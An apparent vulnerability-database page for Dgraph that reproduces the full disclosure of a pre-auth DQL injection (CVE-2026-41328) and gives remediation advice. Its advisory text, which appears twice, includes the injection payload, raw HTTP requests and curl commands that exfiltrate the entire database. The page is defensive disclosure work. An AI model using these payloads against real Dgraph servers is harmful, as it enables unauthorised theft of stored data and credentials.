Vulnerabilities in pkg:golang/github.com/dgraph-io/dgraph

PACKAGE
Advisory Identifier: GHSA-x92x-px7w-4gx4
Advisory Summary

CVE-2026-41328 is a CRITICAL (CVSS 9.1) pre-auth full database exfiltration vulnerability (CWE-943: Improper Neutralization of Special Elements in Data Query Logic) affecting Dgraph libraries in the Go ecosystem. The issue involves pre-auth full database exfiltration via dql injection in nquad lang field. Remediation is available by upgrading affected packages to version 25.3.3.

6 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/dgraph-io/dgraph

6 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/dgraph-io/dgraph. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-x92x-px7w-4gx4 CVE-2026-41328 CRITICAL Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in NQuad Lang Field
GHSA-vvf7-6rmr-m29q CVE-2026-41492 CRITICAL Dgraph: Unauthenticated Admin Token Disclosure Leading to Authentication Bypass via /debug/vars
GHSA-mrxx-39g5-ph77 CVE-2026-41327 CRITICAL Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in Upsert Condition Field
GHSA-95mq-xwj4-r47p CVE-2026-40173 CRITICAL Dgraph: Unauthenticated /debug/pprof/cmdline discloses admin auth token, enabling unauthorized access to protected Alpha admin endpoints
GHSA-p5rh-vmhp-gvcw CVE-2026-34976 CRITICAL Dgraph: Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization
GHSA-92wq-q9pq-gw47 CVE-2023-31135 MODERATE Dgraph Audit Log Encryption Vulnerability

CVE-2026-41328 at a Glance

CVE Identifier CVE-2026-41328
GHSA Identifier GHSA-x92x-px7w-4gx4
Severity CRITICAL
CVSS v3.1 Base Score 9.1
CWE Classification CWE-943: Improper Neutralization of Special Elements in Data Query Logic
Affected Product Dgraph
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-41328

To remediate this vulnerability, upgrade all affected Dgraph dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/dgraph-io/dgraph/v25 fixed: 25.3.3
Upgrade github.com/dgraph-io/dgraph/v25 to 25.3.3
github.com/dgraph-io/dgraph/v24 fixed: Latest secure release
Upgrade github.com/dgraph-io/dgraph/v24 to Latest secure release
github.com/dgraph-io/dgraph fixed: Latest secure release
Upgrade github.com/dgraph-io/dgraph to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/dgraph-io/dgraph/v25

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-41328, inspect your project dependencies for Dgraph:

inspect dependencies for github.com/dgraph-io/dgraph/v25

Analyze the terminal output to locate any version of Dgraph in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 25.3.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-943: Improper Neutralization of Special Elements in Data Query Logic, where the product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query. In Dgraph, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## 1. Executive Summary A vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph's default configuration where ACL is not enabled. The attack requires two HTTP POSTs to port 8080. The first sets up a schema predicate with `@unique @index(exact) @lang` via `/alter` (also unauthenticated in default config). The second sends a crafted JSON mutation to `/mutate?commitNow=true` where a JSON key contains the predicate name followed by `@` and a DQL injection payload in the language tag position. The injection exploits the `addQueryIfUnique` function in `edgraph/server.go`, which constructs DQL queries using `fmt.Sprintf` with unsanitized `predicateName` that includes the raw `pred.Lang` value. The `Lang` field is extracted from JSON mutation keys by `x.PredicateLang()`, which splits on `@`, and is never validated by any function in the codebase. The attacker injects a closing parenthesis to escape the `eq()` function, adds an arbitrary named query block, and uses a `#` comment to neutralize trailing template syntax. The injected query executes server-side and its results are returned in the HTTP response. POC clip: https://github.com/user-attachments/assets/bbfb7bba-c957-4b57-b534-48a958314186 ## 2. CVSS Score **CVSS 3.1: 9.1 (Critical)** ``` CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N ``` | Metric | Value | Rationale | | ------------------- | --------- | ---------------------------------------------------------------------------------------------------------------------------------- | | Attack Vector | Network | HTTP POST to port 8080 | | Attack Complexity | Low | Two requests, deterministic outcome, no special conditions | | Privileges Required | None | No authentication when ACL is disabled (default) | | User Interaction | None | Fully automated | | Scope | Unchanged | Stays within the Dgraph data layer | | Confidentiality | High | Full database exfiltration: all nodes, all predicates, all values | | Integrity | High | The mutation that carries the injection also writes data; the attacker can also set up arbitrary schema via unauthenticated /alter | | Availability | None | No denial of service | ## 3. Vulnerability Summary | Field | Value | | ----- | --------------------------------------------------------------------------- | | Title | Pre-Auth DQL Injection via Unsanitized NQuad Lang Field in addQueryIfUnique | | Type | Injection | | CWE | CWE-943 (Improper Neutralization of Special Elements in Data Query Logic) | | CVSS | 9.8 | ## 4. Target Information | Field | Value | | --------------------- | ------------------------------------------------------------------------------------------------------------------------ | | Project | Dgraph | | Repository | [https://github.com/dgraph-io/dgraph](https://github.com/dgraph-io/dgraph) | | Tested version | v25.3.0 | | Lang split | `x/x.go` line 919 (`PredicateLang` splits on `@`, returns everything after as `Lang`) | | Lang assignment | `chunker/json_parser.go` line 524 (`nq.Predicate, nq.Lang = x.PredicateLang(nq.Predicate)`) | | Validation gap | `edgraph/server.go` line 2142 (`validateKeys` checks `nq.Predicate` only, never `nq.Lang`) | | Injection sink | `edgraph/server.go` line 1808 (`fmt.Sprintf` with `predicateName` containing raw `pred.Lang`) | | predicateName build | `edgraph/server.go` line 1780 (`fmt.Sprintf("%v@%v", predicateName, pred.Lang)`) | | Auth bypass (query) | `edgraph/access.go` line 958 (`authorizeQuery` returns nil when `AclSecretKey == nil`) | | Auth bypass (mutate) | `edgraph/access.go` line 788 (`authorizeMutation` returns nil when `AclSecretKey == nil`) | | Response exfiltration | `dgraph/cmd/alpha/http.go` line 498 (`mp["queries"] = json.RawMessage(resp.Json)`) | | HTTP port | 8080 (default) | | Prerequisite | A predicate with `@unique @index(exact) @lang` in the schema. The attacker can create this via unauthenticated `/alter`. | ## 5. Test Environment | Component | Version / Details | | -------------- | ------------------------------------------------------------------ | | Host OS | macOS (darwin 25.3.0) | | Dgraph | v25.3.0 via `dgraph/dgraph:latest` Docker image | | Docker Compose | 1 Zero + 1 Alpha, default config, `whitelist=0.0.0.0/0` | | Python | 3.x with `requests` | | Network | localhost (127.0.0.1) | ## 6. Vulnerability Detail **Location:** `edgraph/server.go` lines 1778-1808 (`addQueryIfUnique`) **CWE:** CWE-943 (Improper Neutralization of Special Elements in Data Query Logic) The `/mutate` endpoint accepts JSON mutations. When a predicate has the `@unique` directive, the `addQueryIfUnique` function builds a DQL query to check whether the value already exists. The JSON chunker at `json_parser.go:524` splits mutation keys on `@` via `x.PredicateLang`: ```go nq.Predicate, nq.Lang = x.PredicateLang(nq.Predicate) ``` `PredicateLang` at `x/x.go:919` splits on the last `@` and returns everything after it as the `Lang` string with no validation: ```go func PredicateLang(s string) (string, string) { i := strings.LastIndex(s, "@") if i <= 0 { return s, "" } return s[0:i], s[i+1:] } ``` `validateKeys` at `server.go:2142` validates only `nq.Predicate`. It never touches `nq.Lang`: ```go func validateKeys(nq *api.NQuad) error { if err := validateKey(nq.Predicate); err != nil { return errors.Wrapf(err, "predicate %q", nq.Predicate) } for i := range nq.Facets { // ... validates facet keys ... } return nil // nq.Lang is never checked } ``` `addQueryIfUnique` at `server.go:1778-1808` builds `predicateName` from the predicate and the raw `Lang`, then interpolates it into a DQL query via `fmt.Sprintf`: ```go predicateName := fmt.Sprintf("<%v>", pred.Predicate) if pred.Lang != "" { predicateName = fmt.Sprintf("%v@%v", predicateName, pred.Lang) } // ... query := fmt.Sprintf(`%v as var(func: eq(%v,"%v"))`, queryVar, predicateName, val[1:len(val)-1]) ``` There is no escaping, no parameterization, no structural validation, and no character allowlist applied to `pred.Lang` anywhere between the HTTP input and the `fmt.Sprintf` query construction. An attacker crafts a JSON mutation key: ``` name@en,"x")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } # ``` After `PredicateLang` splits on `@`: - `Predicate` = `name` (passes all validation) - `Lang` = `en,"x")) leak(func: has(dgraph.type)) { ... } } #` (never validated) The constructed DQL becomes: ```dql { __dgraph_uniquecheck_0__ as var(func: eq(<name>@en,"x")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } ``` The `#` comment neutralizes any trailing syntax from the template. The DQL parser accepts this as two valid query blocks: a `var` query (returns empty) and a named `leak` query that exfiltrates all data. The uniqueness check passes (no existing `name@en` equals `"x"`), so the mutation succeeds, and the injected query results are returned in `data.queries.leak`. ## 7. Full Chain Explanation The attacker has no Dgraph credentials and no prior access to the server. **Step 1.** The attacker creates the required schema via unauthenticated `/alter`: ``` POST /alter HTTP/1.1 Host: TARGET:8080 name: string @unique @index(exact) @lang . ``` No `X-Dgraph-AccessToken` header. In default configuration, `/alter` has no authentication when ACL is disabled. **Step 2.** The attacker sends the injection payload: ``` POST /mutate?commitNow=true HTTP/1.1 Host: TARGET:8080 Content-Type: application/json { "set": [{ "uid": "_:inject", "name@en,\"x\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #": "anything" }] } ``` **Step 3.** `mutationHandler` at `http.go:345` parses the JSON body. The key `name@en,...` is treated as predicate `name` with language tag `en,"x")) leak(...) } } #`. **Step 4.** `x.PredicateLang` at `x.go:919` splits the key on the last `@`. The `Predicate` is `name`. The `Lang` is the injection payload. **Step 5.** `validateKeys` at `server.go:2142` validates only `nq.Predicate` (`name`), which passes. `nq.Lang` is never checked. **Step 6.** `addQueryIfUnique` at `server.go:1778` constructs `predicateName` by appending the raw `pred.Lang` at line 1780. At line 1808, `fmt.Sprintf` interpolates this into the DQL query string. **Step 7.** `dql.ParseWithNeedVars` parses the constructed DQL. It encounters the original `var` query and the injected `leak` query. Both are accepted as valid DQL. **Step 8.** `authorizeQuery` at `access.go:958` returns `nil` because `AclSecretKey == nil` (default). No predicate-level authorization is performed. **Step 9.** `processQuery` executes both queries. The `leak` block traverses every node with a `dgraph.type` predicate and returns all requested fields. **Step 10.** The response is returned to the attacker at `http.go:498`. The `data.queries.leak` array contains every matching node with all their predicates. ## 8. Proof of Concept ### Files | File | Purpose | | ------------------ | ------------------------------------------------------------ | | report.md | This vulnerability report | | poc.py | Exploit: sets up schema, seeds data, injects, prints leak | | docker-compose.yml | Spins up a Dgraph cluster (1 Zero + 1 Alpha, default config) | | DGraphPreAuthLangDQL.mp4 | Screen recording of the full attack from start to exfiltration | ZIP with all the relevant files: [DGraphPreAuthDQLLang.zip](https://github.com/user-attachments/files/26002498/DGraphPreAuthDQLLang.zip) ### poc.py The exploit performs three operations: (1) creates the `@unique @index(exact) @lang` schema, (2) seeds test data including user secrets and AWS credentials, (3) sends the injection mutation and prints all exfiltrated records. ### Tested Output ``` $ python3 poc.py [*] Target: http://localhost:8080 [*] LEAD_002: DQL Injection via NQuad Lang Field in addQueryIfUnique [+] Schema created: name @unique @index(exact) @lang [+] Seed data inserted (4 nodes with secrets) [*] Sending injection payload to http://localhost:8080/mutate?commitNow=true [+] SUCCESS: Exfiltrated 5 nodes via DQL injection! ============================================================ UID: 0xf5fcd Type: ['dgraph.graphql'] Name: N/A Email: N/A ---------------------------------------- UID: 0xf5fce Type: ['Person'] Name: Alice Email: alice@example.com SECRET: s3cr3t_alice ---------------------------------------- UID: 0xf5fcf Type: ['Person'] Name: Bob Email: bob@corp.com SECRET: bob_password_123 ---------------------------------------- UID: 0xf5fd0 Type: ['Admin'] Name: root Email: admin@internal SECRET: ADMIN_MASTER_KEY_DO_NOT_SHARE ---------------------------------------- UID: 0xf5fd1 Type: ['ServiceAccount'] Name: prod-s3-backup Email: infra@corp.com AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY ---------------------------------------- ============================================================ [+] VULNERABILITY CONFIRMED: Pre-auth DQL injection via Lang field [+] Impact: Full database read access without authentication ``` ## 9. Steps to Reproduce ### Prerequisites - Python 3 with `requests` (`pip install requests`) - Docker and Docker Compose ### Step 1: Start Dgraph ```bash cd LEAD_002_DQL_LANG docker compose up -d ``` Wait for health: ```bash curl http://localhost:8080/health ``` ### Step 2: Run the exploit ```bash python3 poc.py ``` The PoC handles schema creation, data seeding, and exploitation automatically. ### Step 3: Manual reproduction To reproduce manually without the PoC script: ```bash # Set up schema curl -s -X POST http://localhost:8080/alter -d ' name: string @unique @index(exact) @lang . email: string @index(exact) . secret: string . aws_access_key_id: string . aws_secret_access_key: string . ' # Seed data curl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \ -H 'Content-Type: application/json' \ -d '{"set":[ {"dgraph.type":"Person","name":"Alice","email":"alice@example.com","secret":"s3cr3t_alice"}, {"dgraph.type":"Admin","name":"root","email":"admin@internal","secret":"ADMIN_MASTER_KEY"}, {"dgraph.type":"ServiceAccount","name":"prod-s3-backup","aws_access_key_id":"AKIAIOSFODNN7EXAMPLE","aws_secret_access_key":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"} ]}' # Exploit: single request exfiltrates everything curl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \ -H 'Content-Type: application/json' \ -d '{"set":[{"uid":"_:x","name@en,\"x\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #":"anything"}]}' \ | python3 -m json.tool ``` ### What to verify 1. HTTP POST returns 200 (endpoint is reachable without auth) 2. Response contains `data.queries.leak` with an array of nodes 3. The nodes include secrets, AWS credentials, and other data the attacker never queried through legitimate means 4. The mutation also succeeds (a new node is created), confirming that the injection does not break the mutation flow ## 10. Mitigations and Patch **Location:** `edgraph/server.go`, `addQueryIfUnique` (line 1778) and `x/x.go`, `PredicateLang` (line 919) 1. **Validate `nq.Lang`:** Add validation in `validateKeys` (or a new `validateLang` function) that restricts the `Lang` field to BCP 47 language tags: `^[a-zA-Z]{2,3}(-[a-zA-Z0-9]+)*$`. Reject any `Lang` value containing parentheses, braces, quotes, `#`, newlines, or other DQL-significant characters. 2. **Parameterize DQL queries:** Replace the `fmt.Sprintf` query construction in `addQueryIfUnique` with a structured query builder that constructs DQL AST nodes programmatically. This eliminates the injection surface entirely because the predicate name is passed as a typed value rather than interpolated as a raw string. 3. **Escape at the sink:** If parameterization is not immediately feasible, escape DQL-significant characters (`)`, `{`, `}`, `"`, `#`, newlines) in both `predicateName` and `val` before interpolation at line 1808. 4. **Defense in depth:** After query construction, validate that the resulting DQL contains exactly the expected number of root query blocks. The uniqueness check should produce exactly one `var(...)` block per unique predicate. Any additional blocks indicate injection.

CVE-2026-41328 Affected Dgraph Versions

3 component(s)
Fixed Versions:
25.3.3
Product / Package Ecosystem Affected Versions Fixed Version
github.com/dgraph-io/dgraph/v25
Go
< 25.3.3
25.3.3
github.com/dgraph-io/dgraph/v24
Go
≤ 24.1.8
github.com/dgraph-io/dgraph
Go
≤ 1.2.8

References

Frequently Asked Questions

What is CVE-2026-41328?
CVE-2026-41328 is a security vulnerability in Dgraph involving Pre-Auth Full Database Exfiltration via DQL Injection in NQuad Lang Field under CWE-943: Improper Neutralization of Special Elements in Data Query Logic.
Which Dgraph versions are affected?
Affected versions include releases prior to 25.3.3 across affected packages: github.com/dgraph-io/dgraph/v25, github.com/dgraph-io/dgraph/v24, github.com/dgraph-io/dgraph.
What version fixes CVE-2026-41328?
Upgrading to 25.3.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/dgraph-io/dgraph/v25 affected?
Yes, github.com/dgraph-io/dgraph/v25 is affected in releases prior to 25.3.3. Upgrade your dependency to 25.3.3 or later.
Is github.com/dgraph-io/dgraph/v24 affected?
Yes, github.com/dgraph-io/dgraph/v24 is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-41328?
CVE-2026-41328 has a CVSS v3.1 base score of 9.1 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-41328?
CVE-2026-41328 is classified under CWE-943: Improper Neutralization of Special Elements in Data Query Logic (The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.).
How can I check Go dependencies for CVE-2026-41328?
Run the dependency tree command: 'inspect dependencies for github.com/dgraph-io/dgraph/v25'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x92x-px7w-4gx4",
  "modified" : "2026-07-08T00:34:30Z",
  "published" : "2026-04-24T15:41:42Z",
  "aliases" : [ "CVE-2026-41328" ],
  "summary" : "Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in NQuad Lang Field",
  "details" : "## 1. Executive Summary\n\nA vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph's default configuration where ACL is not enabled.\n\nThe attack requires two HTTP POSTs to port 8080. The first sets up a schema predicate with `@unique @index(exact) @lang` via `/alter` (also unauthenticated in default config). The second sends a crafted JSON mutation to `/mutate?commitNow=true` where a JSON key contains the predicate name followed by `@` and a DQL injection payload in the language tag position.\n\nThe injection exploits the `addQueryIfUnique` function in `edgraph/server.go`, which constructs DQL queries using `fmt.Sprintf` with unsanitized `predicateName` that includes the raw `pred.Lang` value. The `Lang` field is extracted from JSON mutation keys by `x.PredicateLang()`, which splits on `@`, and is never validated by any function in the codebase. The attacker injects a closing parenthesis to escape the `eq()` function, adds an arbitrary named query block, and uses a `#` comment to neutralize trailing template syntax. The injected query executes server-side and its results are returned in the HTTP response.\n\nPOC clip: \n\nhttps://github.com/user-attachments/assets/bbfb7bba-c957-4b57-b534-48a958314186\n\n\n\n## 2. CVSS Score\n\n**CVSS 3.1: 9.1 (Critical)**\n\n```\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n```\n\n\n| Metric              | Value     | Rationale                                                                                                                          |\n| ------------------- | --------- | ---------------------------------------------------------------------------------------------------------------------------------- |\n| Attack Vector       | Network   | HTTP POST to port 8080                                                                                                             |\n| Attack Complexity   | Low       | Two requests, deterministic outcome, no special conditions                                                                         |\n| Privileges Required | None      | No authentication when ACL is disabled (default)                                                                                   |\n| User Interaction    | None      | Fully automated                                                                                                                    |\n| Scope               | Unchanged | Stays within the Dgraph data layer                                                                                                 |\n| Confidentiality     | High      | Full database exfiltration: all nodes, all predicates, all values                                                                  |\n| Integrity           | High      | The mutation that carries the injection also writes data; the attacker can also set up arbitrary schema via unauthenticated /alter |\n| Availability        | None      | No denial of service                                                                                                               |\n\n\n## 3. Vulnerability Summary\n\n\n| Field | Value                                                                       |\n| ----- | --------------------------------------------------------------------------- |\n| Title | Pre-Auth DQL Injection via Unsanitized NQuad Lang Field in addQueryIfUnique |\n| Type  | Injection                                                                   |\n| CWE   | CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)   |\n| CVSS  | 9.8                                                                         |\n\n\n## 4. Target Information\n\n\n| Field                 | Value                                                                                                                    |\n| --------------------- | ------------------------------------------------------------------------------------------------------------------------ |\n| Project               | Dgraph                                                                                                                   |\n| Repository            | [https://github.com/dgraph-io/dgraph](https://github.com/dgraph-io/dgraph)                                               |\n| Tested version        | v25.3.0                                                                                                                  |\n| Lang split            | `x/x.go` line 919 (`PredicateLang` splits on `@`, returns everything after as `Lang`)                                    |\n| Lang assignment       | `chunker/json_parser.go` line 524 (`nq.Predicate, nq.Lang = x.PredicateLang(nq.Predicate)`)                              |\n| Validation gap        | `edgraph/server.go` line 2142 (`validateKeys` checks `nq.Predicate` only, never `nq.Lang`)                               |\n| Injection sink        | `edgraph/server.go` line 1808 (`fmt.Sprintf` with `predicateName` containing raw `pred.Lang`)                            |\n| predicateName build   | `edgraph/server.go` line 1780 (`fmt.Sprintf(\"%v@%v\", predicateName, pred.Lang)`)                                         |\n| Auth bypass (query)   | `edgraph/access.go` line 958 (`authorizeQuery` returns nil when `AclSecretKey == nil`)                                   |\n| Auth bypass (mutate)  | `edgraph/access.go` line 788 (`authorizeMutation` returns nil when `AclSecretKey == nil`)                                |\n| Response exfiltration | `dgraph/cmd/alpha/http.go` line 498 (`mp[\"queries\"] = json.RawMessage(resp.Json)`)                                       |\n| HTTP port             | 8080 (default)                                                                                                           |\n| Prerequisite          | A predicate with `@unique @index(exact) @lang` in the schema. The attacker can create this via unauthenticated `/alter`. |\n\n\n## 5. Test Environment\n\n\n| Component      | Version / Details                                                  |\n| -------------- | ------------------------------------------------------------------ |\n| Host OS        | macOS (darwin 25.3.0)                                              |\n| Dgraph         | v25.3.0 via `dgraph/dgraph:latest` Docker image                    |\n| Docker Compose | 1 Zero + 1 Alpha, default config, `whitelist=0.0.0.0/0` |\n| Python         | 3.x with `requests`                                                |\n| Network        | localhost (127.0.0.1)                                              |\n\n\n## 6. Vulnerability Detail\n\n**Location:** `edgraph/server.go` lines 1778-1808 (`addQueryIfUnique`)\n**CWE:** CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)\n\nThe `/mutate` endpoint accepts JSON mutations. When a predicate has the `@unique` directive, the `addQueryIfUnique` function builds a DQL query to check whether the value already exists.\n\nThe JSON chunker at `json_parser.go:524` splits mutation keys on `@` via `x.PredicateLang`:\n\n```go\nnq.Predicate, nq.Lang = x.PredicateLang(nq.Predicate)\n```\n\n`PredicateLang` at `x/x.go:919` splits on the last `@` and returns everything after it as the `Lang` string with no validation:\n\n```go\nfunc PredicateLang(s string) (string, string) {\n    i := strings.LastIndex(s, \"@\")\n    if i <= 0 {\n        return s, \"\"\n    }\n    return s[0:i], s[i+1:]\n}\n```\n\n`validateKeys` at `server.go:2142` validates only `nq.Predicate`. It never touches `nq.Lang`:\n\n```go\nfunc validateKeys(nq *api.NQuad) error {\n    if err := validateKey(nq.Predicate); err != nil {\n        return errors.Wrapf(err, \"predicate %q\", nq.Predicate)\n    }\n    for i := range nq.Facets {\n        // ... validates facet keys ...\n    }\n    return nil  // nq.Lang is never checked\n}\n```\n\n`addQueryIfUnique` at `server.go:1778-1808` builds `predicateName` from the predicate and the raw `Lang`, then interpolates it into a DQL query via `fmt.Sprintf`:\n\n```go\npredicateName := fmt.Sprintf(\"<%v>\", pred.Predicate)\nif pred.Lang != \"\" {\n    predicateName = fmt.Sprintf(\"%v@%v\", predicateName, pred.Lang)\n}\n// ...\nquery := fmt.Sprintf(`%v as var(func: eq(%v,\"%v\"))`, queryVar, predicateName, val[1:len(val)-1])\n```\n\nThere is no escaping, no parameterization, no structural validation, and no character allowlist applied to `pred.Lang` anywhere between the HTTP input and the `fmt.Sprintf` query construction.\n\nAn attacker crafts a JSON mutation key:\n\n```\nname@en,\"x\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #\n```\n\nAfter `PredicateLang` splits on `@`:\n\n- `Predicate` = `name` (passes all validation)\n- `Lang` = `en,\"x\")) leak(func: has(dgraph.type)) { ... } } #` (never validated)\n\nThe constructed DQL becomes:\n\n```dql\n{\n  __dgraph_uniquecheck_0__ as var(func: eq(<name>@en,\"x\"))\n  leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key }\n}\n```\n\nThe `#` comment neutralizes any trailing syntax from the template. The DQL parser accepts this as two valid query blocks: a `var` query (returns empty) and a named `leak` query that exfiltrates all data. The uniqueness check passes (no existing `name@en` equals `\"x\"`), so the mutation succeeds, and the injected query results are returned in `data.queries.leak`.\n\n## 7. Full Chain Explanation\n\nThe attacker has no Dgraph credentials and no prior access to the server.\n\n**Step 1.** The attacker creates the required schema via unauthenticated `/alter`:\n\n```\nPOST /alter HTTP/1.1\nHost: TARGET:8080\n\nname: string @unique @index(exact) @lang .\n```\n\nNo `X-Dgraph-AccessToken` header. In default configuration, `/alter` has no authentication when ACL is disabled.\n\n**Step 2.** The attacker sends the injection payload:\n\n```\nPOST /mutate?commitNow=true HTTP/1.1\nHost: TARGET:8080\nContent-Type: application/json\n\n{\n  \"set\": [{\n    \"uid\": \"_:inject\",\n    \"name@en,\\\"x\\\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #\": \"anything\"\n  }]\n}\n```\n\n**Step 3.** `mutationHandler` at `http.go:345` parses the JSON body. The key `name@en,...` is treated as predicate `name` with language tag `en,\"x\")) leak(...) } } #`.\n\n**Step 4.** `x.PredicateLang` at `x.go:919` splits the key on the last `@`. The `Predicate` is `name`. The `Lang` is the injection payload.\n\n**Step 5.** `validateKeys` at `server.go:2142` validates only `nq.Predicate` (`name`), which passes. `nq.Lang` is never checked.\n\n**Step 6.** `addQueryIfUnique` at `server.go:1778` constructs `predicateName` by appending the raw `pred.Lang` at line 1780. At line 1808, `fmt.Sprintf` interpolates this into the DQL query string.\n\n**Step 7.** `dql.ParseWithNeedVars` parses the constructed DQL. It encounters the original `var` query and the injected `leak` query. Both are accepted as valid DQL.\n\n**Step 8.** `authorizeQuery` at `access.go:958` returns `nil` because `AclSecretKey == nil` (default). No predicate-level authorization is performed.\n\n**Step 9.** `processQuery` executes both queries. The `leak` block traverses every node with a `dgraph.type` predicate and returns all requested fields.\n\n**Step 10.** The response is returned to the attacker at `http.go:498`. The `data.queries.leak` array contains every matching node with all their predicates.\n\n## 8. Proof of Concept\n\n### Files\n\n\n| File               | Purpose                                                      |\n| ------------------ | ------------------------------------------------------------ |\n| report.md                  | This vulnerability report                                        |\n| poc.py                     | Exploit: sets up schema, seeds data, injects, prints leak        |\n| docker-compose.yml         | Spins up a Dgraph cluster (1 Zero + 1 Alpha, default config)    |\n| DGraphPreAuthLangDQL.mp4   | Screen recording of the full attack from start to exfiltration   |\n\nZIP with all the relevant files: \n[DGraphPreAuthDQLLang.zip](https://github.com/user-attachments/files/26002498/DGraphPreAuthDQLLang.zip)\n\n\n### poc.py\n\nThe exploit performs three operations: (1) creates the `@unique @index(exact) @lang` schema, (2) seeds test data including user secrets and AWS credentials, (3) sends the injection mutation and prints all exfiltrated records.\n\n### Tested Output\n\n```\n$ python3 poc.py\n[*] Target: http://localhost:8080\n[*] LEAD_002: DQL Injection via NQuad Lang Field in addQueryIfUnique\n\n[+] Schema created: name @unique @index(exact) @lang\n[+] Seed data inserted (4 nodes with secrets)\n[*] Sending injection payload to http://localhost:8080/mutate?commitNow=true\n[+] SUCCESS: Exfiltrated 5 nodes via DQL injection!\n============================================================\n  UID: 0xf5fcd\n  Type: ['dgraph.graphql']\n  Name: N/A\n  Email: N/A\n----------------------------------------\n  UID: 0xf5fce\n  Type: ['Person']\n  Name: Alice\n  Email: alice@example.com\n  SECRET: s3cr3t_alice\n----------------------------------------\n  UID: 0xf5fcf\n  Type: ['Person']\n  Name: Bob\n  Email: bob@corp.com\n  SECRET: bob_password_123\n----------------------------------------\n  UID: 0xf5fd0\n  Type: ['Admin']\n  Name: root\n  Email: admin@internal\n  SECRET: ADMIN_MASTER_KEY_DO_NOT_SHARE\n----------------------------------------\n  UID: 0xf5fd1\n  Type: ['ServiceAccount']\n  Name: prod-s3-backup\n  Email: infra@corp.com\n  AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE\n  AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n----------------------------------------\n============================================================\n\n[+] VULNERABILITY CONFIRMED: Pre-auth DQL injection via Lang field\n[+] Impact: Full database read access without authentication\n```\n\n## 9. Steps to Reproduce\n\n### Prerequisites\n\n- Python 3 with `requests` (`pip install requests`)\n- Docker and Docker Compose\n\n### Step 1: Start Dgraph\n\n```bash\ncd LEAD_002_DQL_LANG\ndocker compose up -d\n```\n\nWait for health:\n\n```bash\ncurl http://localhost:8080/health\n```\n\n### Step 2: Run the exploit\n\n```bash\npython3 poc.py\n```\n\nThe PoC handles schema creation, data seeding, and exploitation automatically.\n\n### Step 3: Manual reproduction\n\nTo reproduce manually without the PoC script:\n\n```bash\n# Set up schema\ncurl -s -X POST http://localhost:8080/alter -d '\nname: string @unique @index(exact) @lang .\nemail: string @index(exact) .\nsecret: string .\naws_access_key_id: string .\naws_secret_access_key: string .\n'\n\n# Seed data\ncurl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"set\":[\n    {\"dgraph.type\":\"Person\",\"name\":\"Alice\",\"email\":\"alice@example.com\",\"secret\":\"s3cr3t_alice\"},\n    {\"dgraph.type\":\"Admin\",\"name\":\"root\",\"email\":\"admin@internal\",\"secret\":\"ADMIN_MASTER_KEY\"},\n    